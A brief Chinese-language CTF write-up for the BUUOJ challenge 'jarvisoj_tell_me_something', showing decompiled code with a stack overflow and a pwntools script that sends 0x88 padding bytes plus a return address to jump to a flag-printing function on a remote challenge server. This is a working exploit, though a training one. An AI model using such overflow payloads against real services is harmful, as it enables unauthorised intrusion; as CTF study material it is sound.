buuoj jarvisoj_tell_me_something

main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h]

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

可知栈的长度为0x88

good_game函数：

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf; // [rsp+Fh] [rbp-9h]

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf = result;
    if ( (_BYTE)result == -1 )
      break;
    write(1, &buf, 1uLL);
  }
  return result;
}

溢出后跳转到这个函数可以直接获取结果

编写脚本：

from pwn import *

#p = process('./guestbook')
p = remote("node3.buuoj.cn",25499)

p.recvuntil('Input your message:\n')

payload = 'a'*0x88 + p64(0x0000000000400620)

p.sendline(payload)

p.interactive()